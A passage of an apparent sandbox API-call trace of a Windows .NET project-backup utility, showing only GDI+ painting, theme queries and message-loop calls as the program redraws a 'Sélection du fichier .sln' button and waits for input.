lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x1401007f [0226.428] SelectPalette (hdc=0x1401007f, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0226.428] CreateCompatibleDC (hdc=0x1401007f) returned 0x87010730 [0226.428] SelectObject (hdc=0x87010730, h=0xa0506be) returned 0x185000f [0226.428] GdipCreateFromHDC (hdc=0x87010730, graphics=0x52ea94) returned 0x0 [0226.428] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0226.428] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0226.428] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0226.428] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0226.428] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0226.428] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0226.428] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4a78) returned 0x0 [0226.428] LocalFree (hMem=0x4fa4a78) returned 0x0 [0226.428] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0226.428] GdipCreateRegion (region=0x52eadc) returned 0x0 [0226.428] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0226.429] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0226.429] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0226.429] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd9f0dbd) returned 0x0 [0226.429] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0226.429] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0226.429] GetCurrentObject (hdc=0x87010730, type=0x1) returned 0x1b00017 [0226.429] GetCurrentObject (hdc=0x87010730, type=0x2) returned 0x1900010 [0226.429] GetCurrentObject (hdc=0x87010730, type=0x7) returned 0xa0506be [0226.429] GetCurrentObject (hdc=0x87010730, type=0x6) returned 0x18a002e [0226.429] SaveDC (hdc=0x87010730) returned 1 [0226.429] GetNearestColor (hdc=0x87010730, color=0xf0f0f0) returned 0xf0f0f0 [0226.429] GetNearestColor (hdc=0x87010730, color=0xa0a0a0) returned 0xa0a0a0 [0226.429] GetNearestColor (hdc=0x87010730, color=0x696969) returned 0x696969 [0226.429] GetNearestColor (hdc=0x87010730, color=0xa0a0a0) returned 0xa0a0a0 [0226.429] GetNearestColor (hdc=0x87010730, color=0x0) returned 0x0 [0226.429] GetNearestColor (hdc=0x87010730, color=0xffffff) returned 0xffffff [0226.429] GetNearestColor (hdc=0x87010730, color=0xe5e5e5) returned 0xe5e5e5 [0226.429] GetNearestColor (hdc=0x87010730, color=0xd7d7d7) returned 0xd7d7d7 [0226.429] GetNearestColor (hdc=0x87010730, color=0x0) returned 0x0 [0226.429] RestoreDC (hdc=0x87010730, nSavedDC=-1) returned 1 [0226.429] GdipReleaseDC (graphics=0x4da5930, hdc=0x87010730) returned 0x0 [0226.429] IsAppThemed () returned 0x1 [0226.429] GetThemeAppProperties () returned 0x3 [0226.429] GetThemeAppProperties () returned 0x3 [0226.429] IsAppThemed () returned 0x1 [0226.429] GetThemeAppProperties () returned 0x3 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x23a94bc | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0226.430] IsAppThemed () returned 0x1 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] IsAppThemed () returned 0x1 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] GetFocus () returned 0x10186 [0226.430] IsAppThemed () returned 0x1 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] IsAppThemed () returned 0x1 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] IsThemePartDefined () returned 0x1 [0226.430] IsAppThemed () returned 0x1 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0226.430] IsAppThemed () returned 0x1 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] IsAppThemed () returned 0x1 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] GetThemeAppProperties () returned 0x3 [0226.430] IsThemePartDefined () returned 0x1 [0226.430] GdipCreateRegion (region=0x52e804) returned 0x0 [0226.430] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0226.430] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0226.430] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0226.430] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0226.430] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0226.430] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0226.430] LocalFree (hMem=0x4fa4a78) returned 0x0 [0226.430] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0226.430] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0226.431] LocalFree (hMem=0x4fa4a78) returned 0x0 [0226.431] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0226.431] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0226.431] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0226.431] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0226.431] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0226.431] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0226.431] GetCurrentObject (hdc=0x87010730, type=0x1) returned 0x1b00017 [0226.431] GetCurrentObject (hdc=0x87010730, type=0x2) returned 0x1900010 [0226.431] GetCurrentObject (hdc=0x87010730, type=0x7) returned 0xa0506be [0226.431] GetCurrentObject (hdc=0x87010730, type=0x6) returned 0x18a002e [0226.431] SaveDC (hdc=0x87010730) returned 1 [0226.431] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3a0401e4 [0226.431] GetClipRgn (hdc=0x87010730, hrgn=0x3a0401e4) returned 0 [0226.431] SelectClipRgn (hdc=0x87010730, hrgn=0x67040221) returned 2 [0226.431] DeleteObject (ho=0x3a0401e4) returned 1 [0226.431] DeleteObject (ho=0x67040221) returned 1 [0226.431] OffsetViewportOrgEx (in: hdc=0x87010730, x=0, y=0, lppt=0x23a9b6c | out: lppt=0x23a9b6c) returned 1 [0226.431] DrawThemeParentBackground () returned 0x0 [0226.431] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0226.431] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0226.431] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0226.431] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0226.431] GetSystemMetrics (nIndex=42) returned 0 [0226.431] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0226.431] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0226.432] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0226.432] GetCurrentObject (hdc=0x87010730, type=0x1) returned 0x1b00017 [0226.432] GetCurrentObject (hdc=0x87010730, type=0x2) returned 0x1900010 [0226.432] GetCurrentObject (hdc=0x87010730, type=0x7) returned 0xa0506be [0226.432] GetCurrentObject (hdc=0x87010730, type=0x6) returned 0x18a002e [0226.432] SaveDC (hdc=0x87010730) returned 2 [0226.432] GetNearestColor (hdc=0x87010730, color=0xf0f0f0) returned 0xf0f0f0 [0226.432] CreateSolidBrush (color=0xf0f0f0) returned 0x151006b3 [0226.432] FillRect (hDC=0x87010730, lprc=0x52e314, hbr=0x151006b3) returned 1 [0226.432] DeleteObject (ho=0x151006b3) returned 1 [0226.432] RestoreDC (hdc=0x87010730, nSavedDC=-1) returned 1 [0226.432] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0226.432] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0226.432] GetSystemMetrics (nIndex=42) returned 0 [0226.432] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0226.432] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0226.432] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0226.432] GetCurrentObject (hdc=0x87010730, type=0x1) returned 0x1b00017 [0226.432] GetCurrentObject (hdc=0x87010730, type=0x2) returned 0x1900010 [0226.432] GetCurrentObject (hdc=0x87010730, type=0x7) returned 0xa0506be [0226.432] GetCurrentObject (hdc=0x87010730, type=0x6) returned 0x18a002e [0226.432] SaveDC (hdc=0x87010730) returned 2 [0226.432] GetNearestColor (hdc=0x87010730, color=0xf0f0f0) returned 0xf0f0f0 [0226.432] CreateSolidBrush (color=0xf0f0f0) returned 0x161006b3 [0226.432] FillRect (hDC=0x87010730, lprc=0x52e2b4, hbr=0x161006b3) returned 1 [0226.433] DeleteObject (ho=0x161006b3) returned 1 [0226.433] RestoreDC (hdc=0x87010730, nSavedDC=-1) returned 1 [0226.433] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0226.433] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0226.433] GetSystemMetrics (nIndex=42) returned 0 [0226.433] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0226.433] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0226.433] RestoreDC (hdc=0x87010730, nSavedDC=-1) returned 1 [0226.433] GdipReleaseDC (graphics=0x4da5930, hdc=0x87010730) returned 0x0 [0226.433] IsAppThemed () returned 0x1 [0226.433] GetThemeAppProperties () returned 0x3 [0226.433] GetThemeAppProperties () returned 0x3 [0226.433] IsAppThemed () returned 0x1 [0226.433] GetThemeAppProperties () returned 0x3 [0226.433] GetThemeAppProperties () returned 0x3 [0226.433] IsThemePartDefined () returned 0x1 [0226.433] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0226.433] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0226.433] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0226.433] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0226.433] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0226.433] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0226.433] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4a78) returned 0x0 [0226.433] LocalFree (hMem=0x4fa4a78) returned 0x0 [0226.433] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0226.433] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4a78) returned 0x0 [0226.433] LocalFree (hMem=0x4fa4a78) returned 0x0 [0226.433] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0226.433] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0226.433] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0226.433] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0226.434] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0226.434] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0226.434] GetCurrentObject (hdc=0x87010730, type=0x1) returned 0x1b00017 [0226.434] GetCurrentObject (hdc=0x87010730, type=0x2) returned 0x1900010 [0226.434] GetCurrentObject (hdc=0x87010730, type=0x7) returned 0xa0506be [0226.434] GetCurrentObject (hdc=0x87010730, type=0x6) returned 0x18a002e [0226.434] SaveDC (hdc=0x87010730) returned 1 [0226.434] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x68040221 [0226.434] GetClipRgn (hdc=0x87010730, hrgn=0x68040221) returned 0 [0226.434] SelectClipRgn (hdc=0x87010730, hrgn=0x3c0401e4) returned 2 [0226.434] DeleteObject (ho=0x68040221) returned 1 [0226.434] DeleteObject (ho=0x3c0401e4) returned 1 [0226.434] OffsetViewportOrgEx (in: hdc=0x87010730, x=0, y=0, lppt=0x23aa5a4 | out: lppt=0x23aa5a4) returned 1 [0226.434] IsAppThemed () returned 0x1 [0226.434] GetThemeAppProperties () returned 0x3 [0226.434] GetThemeAppProperties () returned 0x3 [0226.434] DrawThemeBackground () returned 0x0 [0226.434] RestoreDC (hdc=0x87010730, nSavedDC=-1) returned 1 [0226.434] GdipReleaseDC (graphics=0x4da5930, hdc=0x87010730) returned 0x0 [0226.434] GdipCreateRegion (region=0x52e790) returned 0x0 [0226.434] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0226.434] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0226.434] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0226.434] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0226.434] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0226.434] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0226.434] LocalFree (hMem=0x4fa4a78) returned 0x0 [0226.434] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0226.434] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0226.435] LocalFree (hMem=0x4fa4a78) returned 0x0 [0226.435] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0226.435] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0226.435] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0226.435] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0226.435] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0226.435] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0226.435] GetCurrentObject (hdc=0x87010730, type=0x1) returned 0x1b00017 [0226.435] GetCurrentObject (hdc=0x87010730, type=0x2) returned 0x1900010 [0226.435] GetCurrentObject (hdc=0x87010730, type=0x7) returned 0xa0506be [0226.435] GetCurrentObject (hdc=0x87010730, type=0x6) returned 0x18a002e [0226.435] SaveDC (hdc=0x87010730) returned 1 [0226.435] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x3d0401e4 [0226.435] GetClipRgn (hdc=0x87010730, hrgn=0x3d0401e4) returned 0 [0226.435] SelectClipRgn (hdc=0x87010730, hrgn=0x69040221) returned 2 [0226.435] DeleteObject (ho=0x3d0401e4) returned 1 [0226.435] DeleteObject (ho=0x69040221) returned 1 [0226.435] OffsetViewportOrgEx (in: hdc=0x87010730, x=0, y=0, lppt=0x23aa878 | out: lppt=0x23aa878) returned 1 [0226.435] IsAppThemed () returned 0x1 [0226.435] GetThemeAppProperties () returned 0x3 [0226.435] GetThemeAppProperties () returned 0x3 [0226.435] GetThemeBackgroundContentRect () returned 0x0 [0226.435] RestoreDC (hdc=0x87010730, nSavedDC=-1) returned 1 [0226.435] GdipReleaseDC (graphics=0x4da5930, hdc=0x87010730) returned 0x0 [0226.435] IsAppThemed () returned 0x1 [0226.435] GetThemeAppProperties () returned 0x3 [0226.436] GetThemeAppProperties () returned 0x3 [0226.436] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0226.436] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0226.436] GetCurrentObject (hdc=0x87010730, type=0x1) returned 0x1b00017 [0226.436] GetCurrentObject (hdc=0x87010730, type=0x2) returned 0x1900010 [0226.436] GetCurrentObject (hdc=0x87010730, type=0x7) returned 0xa0506be [0226.436] GetCurrentObject (hdc=0x87010730, type=0x6) returned 0x18a002e [0226.436] SaveDC (hdc=0x87010730) returned 1 [0226.436] GetTextAlign (hdc=0x87010730) returned 0x0 [0226.436] GetTextColor (hdc=0x87010730) returned 0x0 [0226.436] GetCurrentObject (hdc=0x87010730, type=0x6) returned 0x18a002e [0226.436] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0226.436] SelectObject (hdc=0x87010730, h=0xc0a01e7) returned 0x18a002e [0226.436] GetBkMode (hdc=0x87010730) returned 2 [0226.436] SetBkMode (hdc=0x87010730, mode=1) returned 2 [0226.436] DrawTextExW (in: hdc=0x87010730, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x23aac0c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0226.436] DrawTextExW (in: hdc=0x87010730, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x23aac0c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0226.436] RestoreDC (hdc=0x87010730, nSavedDC=-1) returned 1 [0226.436] GdipReleaseDC (graphics=0x4da5930, hdc=0x87010730) returned 0x0 [0226.437] GetFocus () returned 0x10186 [0226.437] IsAppThemed () returned 0x1 [0226.437] GetThemeAppProperties () returned 0x3 [0226.437] GetThemeAppProperties () returned 0x3 [0226.437] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0226.437] BitBlt (hdc=0x1401007f, x=0, y=0, cx=163, cy=29, hdcSrc=0x87010730, x1=0, y1=0, rop=0xcc0020) returned 1 [0226.437] GdipReleaseDC (graphics=0x4da5930, hdc=0x87010730) returned 0x0 [0226.437] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0226.437] SelectObject (hdc=0x87010730, h=0x185000f) returned 0xa0506be [0226.437] DeleteDC (hdc=0x87010730) returned 1 [0226.437] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0226.437] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0226.437] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0226.437] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0226.437] WaitMessage () returned 1 [0226.522] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0226.522] IsWindowUnicode (hWnd=0x101a4) returned 1 [0226.522] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0226.522] TranslateMessage (lpMsg=0x52ef98) returned 0 [0226.522] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0226.522] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0226.522] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0226.522] WaitMessage () returned 1 [0226.725] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0226.725] IsWindowUnicode (hWnd=0x101a6) returned 1 [0226.725] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0226.725] TranslateMessage (lpMsg=0x52ef98) returned 0 [0226.725] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0226.725] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0226.725] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0226.725] WaitMessage () returned 1 [0230.234] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0230.234] IsWindowUnicode (hWnd=0x10186) returned 1 [0230.234] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0230.234] GetKeyState (nVirtKey=16) returned 0 [0230.234] GetKeyState (nVirtKey=17) returned 0 [0230.234] GetKeyState (nVirtKey=18) returned -127 [0230.234] SendMessageW (hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0230.234] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0230.234] GetKeyState (nVirtKey=16) returned 0 [0230.234] GetKeyState (nVirtKey=17) returned 0 [0230.234] GetKeyState (nVirtKey=18) returned -127 [0230.234] TranslateMessage (lpMsg=0x52ef98) returned 1 [0230.234] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0230.234] GetKeyState (nVirtKey=16) returned 0 [0230.234] GetKeyState (nVirtKey=17) returned 0 [0230.234] GetKeyState (nVirtKey=18) returned -127 [0230.234] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0230.234] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0230.234] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0230.234] WaitMessage () returned 1 [0230.244] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0230.244] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0230.244] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0230.244] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0230.260] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0230.260] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0230.260] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0230.260] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0230.260] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0230.260] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0230.260] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0230.267] NtdllDefWindowProc_W () returned 0x0 [0230.267] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0230.267] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0230.267] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0230.267] GetCapture () returned 0x0 [0230.267] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0230.267] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0230.267] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0230.267] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0230.268] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0230.268] IsWindowUnicode (hWnd=0x10186) returned 1 [0230.268] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0230.268] TranslateMessage (lpMsg=0x52ef98) returned 0 [0230.268] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0230.268] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x1401007f [0230.268] SelectPalette (hdc=0x1401007f, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0230.268] CreateCompatibleDC (hdc=0x1401007f) returned 0x5d010733 [0230.268] SelectObject (hdc=0x5d010733, h=0xa0506be) returned 0x185000f [0230.268] GdipCreateFromHDC (hdc=0x5d010733, graphics=0x52ea94) returned 0x0 [0230.268] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0230.268] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0230.268] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0230.268] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0230.268] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0230.268] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0230.268] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0230.268] LocalFree (hMem=0x4fa4c70) returned 0x0 [0230.268] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0230.268] GdipCreateRegion (region=0x52eadc) returned 0x0 [0230.268] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0230.268] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0230.268] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0230.268] 